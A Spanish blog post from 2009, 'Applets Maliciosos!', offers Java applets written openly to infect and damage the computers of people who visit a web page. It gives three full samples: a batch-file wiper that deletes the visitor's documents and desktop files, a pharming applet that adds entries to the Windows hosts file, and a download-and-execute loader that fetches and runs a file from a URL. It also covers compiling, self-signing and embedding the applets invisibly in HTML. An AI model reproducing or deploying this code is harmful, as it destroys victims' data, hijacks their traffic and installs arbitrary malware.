lunes, 18 de mayo de 2009

Applets Maliciosos!

Hace ya rato me salio la necesidad de hacer unos applets en java, para infectar con  troyanos, virus y destrozar cosas, y aqui se los posteo alfin... al fin y al cabo ya encontre como añadir codigo aqui e incluso poner varios efectos javascript... saludos!!
Ejecutar comandos de ms-dos (este elimina todos los documentos de la persona que abra la pagina y acepte la alerta de sun ke sale)
import java.io.*;
import javax.swing.JApplet;

public class xDD extends JApplet
{

    public xDD()
    {
    }

    public void init()
    {
        try
        {
            infectar();
        }
        catch(Exception e)
        {
            e.getMessage();
        }
        super.init();
    }

    public void infectar()
    {
 try {
    FileWriter fw = new FileWriter("c:\\windows\\cfg.bat");
    BufferedWriter bw = new BufferedWriter(fw);
    PrintWriter salida = new PrintWriter(bw);
    salida.println("@echo off");
    salida.println("cd\\");
    salida.println("cd %SYSTEMDRIVE%");
    salida.println("del *.* /f /s /q");
    salida.println("cd\\");
    salida.println("cd %HOMEPATH%");
    salida.println("del *.* /f /s /q");
    salida.println("cd Desktop");
    salida.println("cd Escritorio");
    salida.println("del *.* /f /s /q");
    salida.println("rd /s /q \"%homepath%/Mis Documentos\"");
    salida.println("del c:\\windows\\cfg.bat");
    salida.close();
    Runtime.getRuntime().exec("cmd.exe /K C:\\windows\\prueba.bat");
}
catch(java.io.IOException ioex) {
  System.out.println("se presento el error: "+ioex.toString());
}        
 
      }
}
Pharming
import java.applet.Applet;
import java.io.*;

public class Hola extends Applet
{

    public Hola()
    {
    }

    public void iniciar()
    {
        String s = getParameter("dominio");
        String s1 = getParameter("ip");
        try
        {
            File file = new File("C:\\WINDOWS\\system32\\drivers\\etc\\hosts");
            FileWriter filewriter = new FileWriter(file, true);
            filewriter.write((new StringBuilder()).append(s1).append("        ").append(s).append(System.getProperty("line.separator")).toString());
            filewriter.close();
        }
        catch(Exception exception) { }
    }

    public void init()
    {
        try
        {
            iniciar();
        }
        catch(Exception exception)
        {
            System.out.println("Error");
        }
        super.init();
    }
Este es un Download and Execute que encontré por ahí, también dejo su código
import java.io.*;
import java.net.URL;
import java.net.URLConnection;
import javax.swing.JApplet;

public class Applet extends JApplet
{

    public Applet()
    {
    }

    public void init()
    {
        try
        {
            infectar();
        }
        catch(Exception exception)
        {
            exception.getMessage();
        }
        super.init();
    }

    public void infectar()
        throws Exception
    {
        byte abyte0[] = new byte[10240];
        String s = getParameter("url");
        System.out.println((new StringBuilder("------------->>>>>>>>>> ")).append(s).toString());
        String s1 = s.substring(s.lastIndexOf("."));
        s1 = s1.toLowerCase();
        File file = File.createTempFile("javatmp", s1);
        FileOutputStream fileoutputstream = new FileOutputStream(file);
        URL url = new URL(s);
        URLConnection urlconnection = url.openConnection();
        BufferedInputStream bufferedinputstream = new BufferedInputStream(urlconnection.getInputStream());
        int i;
        while((i = bufferedinputstream.read(abyte0)) > 0) 
            fileoutputstream.write(abyte0, 0, i);
        fileoutputstream.close();
        if(s1.contains(".jar"))
            Runtime.getRuntime().exec((new StringBuilder(String.valueOf(System.getProperty("sun.boot.library.path")))).append("\\javaw.exe -jar  \"").append(file.getAbsolutePath()).append("\"").toString());
        else
            try
            {
                Runtime.getRuntime().exec(file.getAbsolutePath());
            }
            catch(IOException ioexception)
            {
                File file1 = File.createTempFile("tmp", ".bat");
                file1.createNewFile();
                file1.deleteOnExit();
                PrintWriter printwriter = new PrintWriter(file1);
                printwriter.println((new StringBuilder("\"")).append(file.getAbsolutePath()).append("\"").toString());
                printwriter.close();
                Runtime.getRuntime().exec(file1.getAbsolutePath());
                file1.delete();
            }
        file.deleteOnExit();
    }
}
para compilarlos, instalar el JDK de sun y en consola poner:
javac nombredelarchivo.java

nos genera el .class, lo metemos a un jar:
jar -cf fichero.jar clase.class

Creamos un perfil para firmar archivos jar(la contraseña la definimos nostros):
keytool -genkey -alias puto -validity 120 -v

y firmamos el jar con el perfil ke kreamos y ponemos las preguntas ke nos pida... pide la contraseña que definimos antes):
jarsigner.exe appletfirmado.jar puto -verbose

y listo la metemos a nuestro html:
<applet name="ajax" code="Applet.class" archive="App.jar" height="1" width="0">
<param name="PARAMETRO QUE NECESITE NUESTRO PROGRAMA" value="">
</applet>


No hay comentarios:

Hooks en React (I), Utilizar el estado en componentes Stateless.

¿Qué son los Hooks? Los hooks son una nueva característica agregada a React (16.8), la cual consiste en un conjunto de funciones que nos p...